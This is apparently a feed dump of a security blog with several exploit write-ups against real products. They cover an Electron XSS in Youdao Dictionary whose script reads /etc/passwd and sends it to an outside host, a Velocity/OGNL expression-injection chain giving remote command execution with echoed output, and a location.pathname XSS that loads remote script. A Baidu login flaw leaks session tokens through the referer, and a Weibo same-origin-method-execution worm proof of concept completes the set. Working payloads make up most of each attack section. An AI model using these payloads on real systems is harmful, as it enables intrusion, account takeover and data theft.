蓝知 蓝知更鸟 是种蓝背红胸的美丽小鸟。 2018-06-22T07:30:10.748Z https://magicbluech.github.io/ MagicBlue Hexo SOME INTERESTING THINGS IN ELECTRON(Essays) https://magicbluech.github.io/2018/06/22/SOME-INTERESTING-THINGS-IN-ELECTRON/ 2018-06-22T05:19:01.000Z 2018-06-22T07:30:10.748Z [+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2018-06-22

Introduction

Recently, I was studying lambda(function as a service) and Machine Learning, and I will share with you the case of security.
Today I will share two sweet foods about electron.

“If you can build a website, you can build a desktop app. Electron is a framework for creating native applications with web technologies like JavaScript, HTML, and CSS. It takes care of the hard parts so you can focus on the core of your application.”

XSS In NetEase Youdao Dictionary

The first case was when I used a dictionary to look up words. NetEase Youdao dictionary has a built-in browser, we can drag files into it. We can drag an html file into it. This led to the XSS vulnerability. It’s really interesting.

payload.html
1
2
3
<script>
prompt(1,document.location.href)
</script>

demo1

We can see that it is under the file origin. So we try to read other files on the computer

exp.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>

const getFile = ()=>{

fetch("/etc/passwd").then(res=>{
return res.text()
}).then(text=>{

sendFile(text);
})
}

const sendFile = (text)=>{
fetch(`https://blue.exeye.io/?file=${encodeURIComponent(text)}`)
}
getFile();
</script>

This is very interesting because it is under modern browsers. The file domain name also follows the same origin policy. If it is under a modern browser such as chrome firefox safari. It is not allowed to read files across directories.

chrome url file:// document.origin = null
firefox url file:// document.origin = undefined
safari url file:// document.origin = null

After we can read the victim’s file, we can read .git to read all the victim’s files in Mac OS.

XSS In Netease Music

NetEase cloud music was cracked by others using XSS vulnerabilities. Netease Cloud repaired part. In the process of my reverse of the client. I found a strict CSP strategy for developers to fix the program. Although developers fixed bugs, I found similar vulnerability.

I can’t bypass the CSP strategy.

In Conclusion

XSS not only exists in web pages, it also exists in the electron framework if you find an XSS application in the desktop. Try to find the privileged domain and determine if it is under the file domain. There may be RCE vulnerabilities in privileged domains and arbitrary read vulnerabilities may occur in the file domain.

There are also many XSS vulnerabilities that exist in desktop applications. Here only an attack surface is shown to everyone. This is just a dessert. Please wait for me to take the next study.

NetEase Youdao Dictionary Version: 2.3.1 (158)
Netease Music Version: 1.5.9 (622)

]]>
<p>[+] Author:MagicBlue<br>[+] Team: NeSE security team<br>[+] From: <a href="https://magicbluech.github.io">https://magicbluech.github.io</
Neglected Web Security thought https://magicbluech.github.io/2017/12/02/Neglected-Web-Security-thought/ 2017-12-02T03:57:14.000Z 2017-12-02T03:58:00.333Z
  • take over your subdomain
  • ]]>
    <ul> <li>take over your subdomain<ul> <li><a href="https://www.slideshare.net/fransrosen/dns-hijacking-using-cloud-providers-no-verification
    VelocityServlet Expression-language Injection https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/ 2017-11-15T03:59:38.000Z 2018-06-22T05:26:14.261Z [+] Author:MagicBlue
    [+] Team: NeSE security team
    [+] From: https://magicbluech.github.io
    [+] Create: 2017-11-15

    起因

    朋友丢过来一个站点让帮忙看看。站点的架构为 Windows+Apache+JAVA。因没学过JAVA WEB。特记录下Exploit的过程,希望借此鼓励因对一门技术栈不熟悉就放弃目标的朋友。

    Exploit

    认知

    拿到站点,首先要知道站点的架构。不难发现站点的架构为Windows+Apache+JAVA。通常,我还会爬一遍站点的url。探测是否存在敏感文件泄露以及敏感url,参数泄漏。扩大自己的攻击面。

    经过简单探测,发现了一处疑似表达式注入的点,并且还出现了报错(可以泄漏很多有用的信息)。

    但是由于我只写过JAVA,并没有任何JAVA WEB 经验。我连这个站点运用了什么框架都不清楚。于是开始漫长的踩坑之旅。在我以前的记忆中,我只知道两种类型的表达式注入(OGNL+EL)

    首先我们测试下是否存在漏洞? ${666*666}

    看到这里,就有很大的几率存在漏洞。但是对于我们还是判断不了它到底用了什么表达式语言。因为我没学过这块的技术栈,在这里就不去区分OGNL+EL的异同点,从而判断是哪种表达式。但是我知道OGNL+EL都有隐含对象。比如${pageScope},${request}等。但是很遗憾,什么也没有回显。

    仔细查看报错信息,说不定会有收获。VelocityServlet: Error processing the template。一行加粗加大的提示赫然出现在我的眼前。Google=>Velocity

    发现一篇文章 这篇文章提到这种表达式的注入

    尝试${class}

    于是这个站基本做到了认知的程度,下一步就是Fuzz了。

    Fuzz

    根据这篇文章,尝试以下payload.

    $class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“sleep 5”).waitFor()
    尝试无果。然后把注意点转移在action.ListResources这个类上。

    因为对JAVA并不熟悉,再加上面向对象学的也不是很好。无法判断这个类是开发者自己写的,还是用的轮子。只能利用搜索引擎去探测一波。发现链接

    于是开始了手工Fuzz

    /list.do?c=${class.getClassLoader()}

    /list.do?c=${class.getResource("").getPath()}


    暴露了网站的路径

    做到这里,朋友说已经可以了。但是我还想继续判断下是否存在RCE

    猜测getResource 这个方法是用来获取资源的,猜测是否存在SSRF,于是进行了大量手工FUZZ。根据回显来判断是否正确
    /list.do?c=${class.getResource("/").getPath()}
    /list.do?c=${class.getResource(".").getPath()}
    /list.do?c=${class.getResource("file://").getPath()}
    /list.do?c=${class.getResource("gopher://").getPath()}
    /list.do?c=${class.getResource("http://").getPath()}
    /list.do?c=${class.getResource("../../../")}

    /list.do?c=${class.getResource("../../../../../index.htm").getContent()}

    出现了 java.io.BufferedInputStream@b4eccd。看样很有可能会产生任意读取漏洞。

    还是不懂BufferedInputStream 只好借助参考链接

    无奈 只发现了有价值的read()方法。借助可以方法可以从buff读取一个字符。由于我们找不到getWriter方法。所以我没有办法绕过去读取所有内容。下文有绕过方法。

    chr(60) = ‘<’

    RCE

    无奈只好去探测别的姿势。知识储备不够只好借助搜索引擎。翻到一篇文章

    尝试
    ${'A'.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}
    无果! 难道就这么放弃? 当然不是。

    fuzz 出 ‘’.class.forName 这样引入对象是有效的。但是不知道为什么直接getRuntime不可以。
    经过大量试错,最后 payload 为
    list.do?c=${'a'.class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /c ping watito.exeye.io")}

    命令回显

    做到这里,朋友说可以了。但是,我觉得不是很好,因为到此还没做到命令回显,作为一个安全爱好者。漏洞利用就像一门艺术,如果不能做到命令回显那就感觉像是少了些什么。于是开始了新的踩坑之旅!

    执行payload。返回的是一个对象。我们要做的是将缓冲区的字节转换为字符。并且输出 出来。我查阅了大量的实战案例,
    表达式注入做到回显的基本都用到了 servlet 下的 getWriter().println()方法。所以我们的目标已经很明确了,那就是去寻找这个方法。

    /list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null)}

    我们想要使用的是println方法,于是又进行大量的手工FUZZ。

    /list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).println(“2333”)}
    /list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null.null).println(“”)}
    /list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke().println(“”)}
    /list.do?c=${%23c=’a’.class.forName(“javax.servlet.http.HttpServletResponse”).getMethod(‘getWriter’,null).invoke(null,”23333”).println(“”)}

    其实在这边查阅官方手册是快的,但是黑盒测试,对版本等信息都不了解。查阅了很多手册也没有什么收获。于是我去翻阅了java包的println函数的实现。

    原来println函数是import java.io.PrintWriter而来

    /list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null)}

    很激动~ 但是不知道怎么调用。还是要不断试错!

    /list.do?c=${#c=”a”.class.forName(“java.io.PrintWriter”).getMethod(“println”,null).(“HELLO WORLD”)}

    发现这样可以调用。

    我们看一下猪猪侠构造的回显的payload

    &#x0023;=#

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12


    ${&#x0023;a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/sbin/ifconfig','-a'})).start(),
    &#x0023;b=&#x0023;a.getInputStream(),
    &#x0023;c=new **.**.**.**.InputStreamReader(&#x0023;b),
    &#x0023;d=new **.**.**.**.BufferedReader(&#x0023;c),
    &#x0023;e=new char[50000],&#x0023;d.read(&#x0023;e),
    &#x0023;ringzero=&#x0023;context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
    &#x0023;ringzero.getWriter().println(&#x0023;e),
    &#x0023;ringzero.getWriter().flush(),
    &#x0023;ringzero.getWriter().close()}

    我们尝试来构造我们自己的payload。

    &#x0023;=#

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12


    {&#x0023;e='a'.class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /c whoami").getInputStream(),
    &#x0023;o=new java.io.InputStreamReader(&#x0023;e),
    &#x0023;l=new java.io.BufferedReader(&#x0023;o),&#x0023;t=new char[50000],
    &#x0023;l.read(&#x0023;t),
    &#x0023;print='a'.class.forName("java.io.PrintWriter").getMethod("println",null),
    &#x0023;flush='a'.class.forName("java.io.PrintWriter").getMethod("flush",null),
    &#x0023;close='a'.class.forName("java.io.PrintWriter").getMethod("close",null),
    &#x0023;print.(&#x0023;t),
    &#x0023;flush='a'.class.forName("java.io.PrintWriter").getMethod("flush",null).(),
    &#x0023;close='a'.class.forName("java.io.PrintWriter").getMethod("close",null).()}

    居然没什么反应~

    这个时候似乎陷入了胶着…因为用时太久,身心俱疲。随手测试了${#request}
    居然有回显。

    可以确定是Ognl 表达式注入了.那么回显就要去朝着这个方向去思考。
    看到 com.opensymphony.xwork.interceptor 版本比较低。

    经过测试

    {#e=’a’.class.forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“cmd /c whoami”).getInputStream(),#o=new java.io.InputStreamReader(#e),#l=new java.io.BufferedReader(#o),#k=#l.readLine(),#print=’a’.class.forName(“java.io.PrintWriter”).getMethod(“println”,null),#print.(#k)}

    这样可以读取一行回显 这样就太鸡肋了~ 这个时候想到一个库还没使用那就是。com.opensymphony.xwork

    ${#response=#context.get(“com.opensymphony.xwork.dispatcher.HttpServletResponse”).getWriter(),#response.println(“HelloWorld!”),#response.flush(),#response.close()}

    于是最终payload为

    &#x0023;=#

    1
    2
    3
    4
    5
    6
    7
    8

    ${&#x0023;response=&#x0023;context.get("com.opensymphony.xwork.dispatcher.HttpServletResponse").getWriter(),
    &#x0023;e='a'.class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /c dir C:\\").getInputStream(),
    &#x0023;o=new java.io.InputStreamReader(&#x0023;e),
    &#x0023;l=new java.io.BufferedReader(&#x0023;o),&#x0023;t=new char[90000],
    &#x0023;l.read(&#x0023;t),&#x0023;response.println(&#x0023;t),
    &#x0023;response.flush(),
    &#x0023;response.close()}

    使用这个姿势,同时可以解决上文的任意读取漏洞!有些朋友可能不理解为什么去费这么大气力去研究这个看似不是很重要的回显。完全可以通过DNS 带出来内容。但是技术的推动就是对技术毫不妥协嘛。本文不涉及任何框架的解读,想表达的含义是对一个你没接触的内容怎样去Exploit。对于这个场景来说,找一个可用的方法或者类有多么重要。

    总结

    这篇writeup 用到的技术不是很高深,想必对JAVA WEB 很熟的人很快就能搞出来。但是我想在这篇文章里展示的是一种对于从来没接触过的技术栈 怎么去Exploit。看到这里你也很清楚了。善于利用搜索引擎。以及人工不断fuzz.逐渐去验证你的思路。慢慢缩小fuzz的范围以及payload。我花费了大量笔墨去阐述我走过的弯路,较小的笔墨去描述我成功执行的部分。看者自然有意。

    ]]>
    <p>[+] Author:MagicBlue<br>[+] Team: NeSE security team<br>[+] From: <a href="https://magicbluech.github.io">https://magicbluech.github.io</
    一个xss的利用(location.pathname situation) https://magicbluech.github.io/2017/06/24/一个xss的利用-location-pathname-situation/ 2017-06-24T09:39:40.000Z 2018-06-22T05:25:38.420Z [+] Author:MagicBlue
    [+] Team: NeSE security team
    [+] From: https://magicbluech.github.io
    [+] Create: 2017-06-24

    起因

    在weibo上看到neargle发了一个案例里面是一个location.pathname利用的实际案例。自己原来的想法是这种类型的xss只会存在404页面那边。还有一个问题是$SERVER[‘PHP_SELF’]不进行urlencode,而window.location.pathname则会进行urlencode。
    image

    当时就去email to neargle 想探讨下这种类型在实战会怎么利用。

    neargle say确实如果用 location.pathname 这个点是会被url编码的,但是也并不是所有的浏览器都会被编码,而且每个浏览器编码的范围不一样,Opera之前的版本是不会编码"和<的。可以参考https://github.com/wisec/domxsswiki/wiki/location,-documentURI-and-URL-sources。而且就算是编码也得看输出的点是什么,要是放在如eval等函数里面还是可以直接利用的。 祝好0v0

    其实也就是具体问题具体分析~~运气很好,在做test的时候 恰好遇到了这么一个案例

    test

    漏洞发生在搜索框 类似 => http://www.xss.com/search/site/search_content。search_content可控 但是它是从location.pathname取出来的。我们只能用特定的几个字符。参考如下(笔者在chrome下进行此次测试)

    两个输出点逻辑(输入点 mmmagic)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <script>
    _data = {
    "level2": "5",
    "chapter1": "",
    "chapter2": "",
    "chapter3": "",
    "title": "Internal Search",
    "mc": "mmmagic",
    "np": "1",}
    </script>
    <script>
    {$('#login-info').html('<a href="proxy.php?url=/p/login.php?p=/search/site/mmmagic" target="_blank">用户登录</a><a href="proxy.php?url=http://www//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=zbproductpage&utm_term=tactical" target="_blank">订阅</a>');}
    </script>

    这个点没有进行合理过滤,所以导致了上面location.pathname可以用的字符我们都可以用。但是也是不太好利用。第一个输出点我没太思考怎么绕过。我把我的思考方式放在后面那个输出点

    我们没办法输入>闭合a 标签 但是由于chrome 很好的容错性它会自动闭合tag 我们可以输入’,所以我们通过’)来闭合$(‘#’).html(‘’) xxxxxxx

    我们已经解决了第一步。但是这样的payload由于语法错误会报错然后不执行。我们要想办法注释后面的点

    • 通过单行注释 / 但是由于是在pathname里面 我们可以输入/ 但是我们只能输入一个/ 达不到注释的效果
    • 通过多行注释 /* 但是我们不可以输入}。来闭合前面的{

    以上两种方法均不能达到我们注释的目标(由于chrome在location.pathname支持的字符相比于其余主流浏览器支持的字符最少。所以只要chrome完美bypass。其余浏览器也没有问题了)

    javascript 语法

    1
    2
    x = ('mmmagic"23333')
    "mmmagic"23333"

    既然我们不能注释后面 由于后面的字符原本是在(‘’) 里面的 经过前面的闭合 这个时候为

    1
    $('#').html('<a href="proxy.php?url=/p/login.php?p=/search/site/')mmmagic" target="_blank">用户登录</a><a href="proxy.php?url=http://www.//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=&utm_term=tactical" target="_blank">xx</a>');

    所以我们只需要把后面当作是一个string 赋值给一个变量就ok了

    alert payload

    http://www.xss.com/search/site/')-alert(/mmmagic/);x=('mmmmagic,

    这个时候我们已经可以弹窗了。我们要朝着我们的终极目标前进,引入外部的js。这个时候已经很简单了

    1
    search/site/')-eval(location.hash.substr(1));x=('mmmmagic,#  +js  方法不唯一

    思考

    用户的输入点都是不可信的,所以过滤就显得尤为重要了。web的思考思维是怎么绕过,这其中一块就是具体问题具体分析,往往是看似不可以利用的漏洞。通过几种方式的组合导致可以利用。由于最近一直在思考怎么写xss fuzz tool 所以有一些想法

    • 传统的xss扫描器 都是基于payload进行fuzz 这样就存在一个问题,检测出来的肯定是存在漏洞。但是由于这种fuzz。它会导致很多可以利用的点会被忽略掉。这大概是由于fuzz tool不够智能吧
    • 漏洞出现的一个前提是没有过滤 或者是过滤的不充分。但是反过来思考。既然我们没办法构造一个基于大多数的漏洞模型。我们能不能提取出来一些完美的防御过滤模型,只要是符合这个模型的特点。我们就放行,反之就是肯定存在漏洞,这个办法的问题是误报率的问题以及人工成本的增加。人工手动验证的成本会大大增加。但是报着宁杀错杀一千也不放过一个的思维方式,这个是可取的
    • 打造一个自己的fuzz tool 一定要基于实战 基于漏洞的打磨。但是我们不可以把每种漏洞出现的情况都纳到我们的模型,我们只能通过人工搜集,把一些典型的做成模型。然后让fuzz tools 以后自己分析,我觉得基于语义 基于上下文的fuzz才是未来。

    比如 它有这种智能的检测手段

    1
    2
    3
    4
    5

    <script>
    document.path.name('xxxxxxxxxxx');
    </script>

    如果fuzz tool 发现我们可控的点在xxxxxx处

    • 它要知道自己是处在js code环境下
    • 它要知道它要闭合’)// or </script><img/src=1> or ‘-alert(1)-‘ 来进行test
    • 它需要基于语义 自动调整需要闭合的点。

    此刻大概就是这么多想法,要走的路还有很多。但是自己确实是想做出点东西了。

    ]]>
    <p>[+] Author:MagicBlue<br>[+] Team: NeSE security team<br>[+] From: <a href="https://magicbluech.github.io">https://magicbluech.github.io</
    百度v3登陆系统架构问题导致点我链接拿到你的bduss(巧用referer) https://magicbluech.github.io/2017/02/13/百度v3登陆系统架构问题导致点我链接拿到你的bduss-巧用referer/ 2017-02-13T02:59:01.000Z 2018-06-22T05:25:48.539Z [+] Author:MagicBlue
    [+] Team: NeSE security team
    [+] From: https://magicbluech.github.io
    [+] Create: 2017-02-13

    认知

    最近在研究百度的账号登陆系统。百度的登陆系统有v2,v3两种方案。主站使用的v2。通过post login。然后set-cookie:bduss

    像百度钱包百度外卖,网盘等使用的v3登陆系统。使用v3登陆系统的域名不在少数。

    利用

    可以看出来v3的登陆逻辑是Location重定向这个链接,然后set-cookie:bduss。但是这个有一个架构问题是Location里面带有bduss敏感信息:)需要注意的是Location里面的bduss不是登陆成功后cookie里面的那个http-only bduss。但是我们可以通过拿到Location的bduss去登陆,通过在本地查看cookie里面的http-only bduss。也就是拿到了用户认证

    https://passport.baidu.com/v3/login/api/auth?return_type=3&tpl=netdisk&u=https%3a%2f%2fpcsdata.baidu.com%2frest%2f2.0%2fpcs%2ffile%3fmethod%3dplantcookie%26source%3dpcsdata%26callid%3d0.1%26type%3dstoken%26from_module%3dcloud-ui%26logid%3d1005224845347345453

    访问这个url就会跳转到set-cookie:bduss 中间有个Location。对我们来说有用的可控的参数是tpl和utpl参数是百度业务的代号 netdisk为百度网盘u为Location中拼接的链接 :) Location: u+stoken+bduss 这种到这里我能想到如下几种方法去窃取Location:

    1. 没有任何限制 u参数可以为我们可控的domain。通过重定向到可控域名查看referer就可以拿到stoken+bduss
    2. 后端正则没写好 :) http:xxx.baidu.com.attack.com or http://[email protected]
    3. 使用v3登陆系统下的xss
    4. 使用v3登陆系统下的open redirection
    5. 使用v3登陆系统下任何请求第三方服务器资源的参数 :)有点迷糊吧 接下来我会详细介绍这个

    下面我们来分析者几种思路的可行性

    1 and 2 经过大量测试,百度后端正则写法严格,不存在此漏洞
    3 xss价值很大,用在这大材小用。
    4 方法不够优美,跳转后的页面为第三方页面,用户容易起疑心
    5 跳转后的页面为百度下的域名 较为完美的解决方案 第五种方法容易出现在用户交互的地方。我在贴吧找到了一个分享页面。

    http://tieba.baidu.com/f/commit/share/openShareApi?url=http%3A%2F%2Ftieba.baidu.com%2Fp%2F4970918825%2310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413&title=2017%E6%9D%8E%E5%BD%A6%E5%AE%8F%E4%B8%8B%E7%8B%A0%E5%BF%83%3A%E7%99%BE%E5%BA%A6%E8%A6%81%E6%95%B4%E9%A1%BF%E9%A3%8E%E6%B0%94%2C%E6%89%93%E5%87%BB%E8%BF%87%E5%BA%A6%E5%B9%BF%E5%91%8A_%E7%99%BE%E5%BA%A6%E5%90%A7_%E7%99%BE%E5%BA%A6%E8%B4%B4%E5%90%A7&desc=&comment=&pic=http://121.42.166.76/x/phpwaf.php?.jpg

    pic是我们可控的页面。查看下服务器上的log

    通过查看referer,我们就可以拿到bduss+stoken。 现在利用链就出现了。passport.baidu.com url里面的u参数改成tieba这个链接。tpl参数改成百度贴吧的内部代号。但是问题出现了。贴吧业务较老。同时有v2 v3系统。但是set-cookie的是v2系统。虽然会拿到stoken+bduss。但是这是贴吧业务下,并不能拿到http-only(bduss) :)因为并不是根据v3设置的bduss所以访问Location也不能set-cookie:bduss 按照正常架构,tpl是肯定要和u参数一一对应的。我们测试下是否存在问题。

    我们把tpl换成百度网盘的代号 u参数为找到的tieba url。顿时惊喜万分。这是百度登录系统的第二个架构问题。tpl和u参数不对应。这无疑减少了攻击难度。我们只需要找到使用v3登录系统任一域名下的xss或者open direction等漏洞就可利用。

    构造POC

    为了拿到最佳漏洞,我们必须要构造最完美的利用链。现在的攻击方式就是让用户去访问

    https://passport.baidu.com/v3/login/api/auth/?return_type=3&tpl=bp&u=http%3A%2F%2Ftieba.baidu.com%2Ff%2Fcommit%2Fshare%2FopenShareApi%3Furl%3Dhttp%253A%252F%252Ftieba.baidu.com%252Fp%252F4970918825%252310006-tieba-1-38713-bf6461719a993b4683f4212b1604e413%26title%3D2017%25E6%259D%258E%25E5%25BD%25A6%25E5%25AE%258F%25E4%25B8%258B%25E7%258B%25A0%25E5%25BF%2583%253A%25E7%2599%25BE%25E5%25BA%25A6%25E8%25A6%2581%25E6%2595%25B4%25E9%25A1%25BF%25E9%25A3%258E%25E6%25B0%2594%252C%25E6%2589%2593%25E5%2587%25BB%25E8%25BF%2587%25E5%25BA%25A6%25E5%25B9%25BF%25E5%2591%258A_%25E7%2599%25BE%25E5%25BA%25A6%25E5%2590%25A7_%25E7%2599%25BE%25E5%25BA%25A6%25E8%25B4%25B4%25E5%2590%25A7%26desc%3D%26comment%3D%26pic%3Dhttp%3A%2F%2F121.42.166.76%2Fx%2Fphpwaf.php%3F.jpg

    然后服务器会接受到referer传来的stoken+bduss。这样太不美观了。最完美的利用链肯定是从用户点击到跳转结束都是在百度域名下。这才称为优雅。
    xxx.baidu.com => attack.com.index.html=>tieba.com
    那就需要我们找到一个百度域名下的open redirection。哪里找呢。www.baidu.com就更好了。其实有现成的。当我们在百度页面上搜索url时。点击页面会出现自动跳转。

    https://www.baidu.com/link?url=U38t5HcavSP8i3ndy2zBqFHNk49DAIPl9Nf8EaQ7ItniqYP7-GFf7qZKL8gtlo-Q&wd=&eqid=d6e00e170038d1860000000658a04fe5

    类似这样。这下才称为完美利用才对~把exp放在 attack.com/index.html
    点击服务器记录log如下

    这时候我们要揭秘百度登录系统的第三个架构问题 就是Location里面拿到的 stoken+bduss居然可以重复使用。
    构造登录页面如下 :)百度钱包为例

    https://www.baifubao.com/api/0/sync_login/0?u=%2F&errno=0&errmsg=Auth%20Login%20Sucess&stoken=a030ee1ff3177e74af143953318e1a02fe00d282274012bca70d6e358abb98c0911856e88dfc9b439ac0c63c58f9e39929c3b7e662fc0fa5855fba0ef6439168723359d32efe&bduss=5be15498aac8e4422924b36361398d72d78a4550e2034c6430d7e412f82f09867ea983604696ee0f6f74fe70cf63fa5bdb4ab07f0c07a57a423f76e92f67c560b2f65d707ecf80744b56ae9becb9e83c269dfa8cef32e3b2b0416fadb8d52ab0979e138c7fd5f17acc788466e819347236e2e7060db1454dbcda8c9ecc847b8a35faf24e06ba9057b804462b32d13a1045da918c837ffe43b6164a9ffcc595a4a462918da6e9a578f8bd3e4efb646e8e0839446bfd90cc7a0fc98021ad5c1c10792a25778c10&ssnerror=0

    替换stoken+bduss 为我们获取的。attacker登陆进去查看http-only bduss 就可以拿到最终的bduss 从而进入各个服务

    总结

    1. bduss这种敏感信息出现在GET参数里面。并且还是Location :)建议:不要把敏感信息放在GET参数里面,如果实在没办法可以通过POST传入u and tpl参数完成Location。
    2. 没有验证tpl和u的一致性。代号和domain一致性的话 会大大加强漏洞的利用难度
    3. stoken+bduss居然可以重复使用。建议做成一次性ticket
    4. 只要手机端百度浏览器登录了用户账号,点击链接也会盗号。所以危害全平台。做好手机端和pc端认证的分开。
    ]]>
    <p>[+] Author:MagicBlue<br>[+] Team: NeSE security team<br>[+] From: <a href="https://magicbluech.github.io">https://magicbluech.github.io</
    SOME攻击可导致点我链接蠕虫+关注 https://magicbluech.github.io/2017/02/06/SOME攻击可导致点我链接蠕虫-关注/ 2017-02-06T03:24:03.000Z 2018-06-22T05:26:02.334Z [+] Author:MagicBlue
    [+] Team: NeSE security team
    [+] From: https://magicbluech.github.io
    [+] Create: 2017-02-06

    起因

    最近在研究新浪通行证的单点登录系统。发现了一个有意思的链接

    利用

    尝试了几个特殊字符想构建xss无果。于是想到了same origin method execute attack。因为这个域名是weibo.com。这是非常好利用的。利用点如下。微博存在一键转发一键关注等按钮。我们可以发一条很有吸引力的微博,诱惑别人去点。别人点我的链接就会触发攻击。会自动转发我的链接。这样就造成了蠕虫。其实SOME攻击可利用的地方很多。还是看场景。

    但是有一个问题就是,此页面判断了refer。refer只能来自可信域名。尝试绕过无果。意外发现了当refer为空的时候会返回我们想要的结果。因为refer 会返回错误 但是不显示空白 我们依旧可利用 构造我们的callback

    这个时候思路如下
    1 找一个可信域下的302跳转。跳转到some利用页面。这样refer可信。成功利用
    2 我们想办法去消除refer。感谢html5 a 标签的rel=”noreferrer” 可以使跳转不带有refer(:然后利用js自动点击a标签 做到和自动跳转一样的效果
    3 利用iframe 也可以使用refer为空
    我们采用第二种方法成本最低

    POC

    main.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16


    <html>
    <head>
    <title>Main</title>
    <meta charset="utf-8">
    </head>
    <body>
    <a onclick="fuck()" target="_black" href="step.html">click here to see cool things.</a>
    <script>
    function fuck(){
    window.location.href="自己的微博转发地址";
    }
    </script>
    </body>
    </html>
    step.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    <a href="http://weibo.com/ajaxlogin.php?framelogin=1&callback=opener.window.document.body.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.lastElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.lastElementChild.click" rel="noreferrer" id="fuck" >2333</a>
    <script>
    window.onload = function(){
    function fuck(){
    var a=document.getElementById('fuck');
    a.click();
    }
    setTimeout(fuck,8000);
    }
    </script>

    演示

    ]]>
    <p>[+] Author:MagicBlue<br>[+] Team: NeSE security team<br>[+] From: <a href="https://magicbluech.github.io">https://magicbluech.github.io</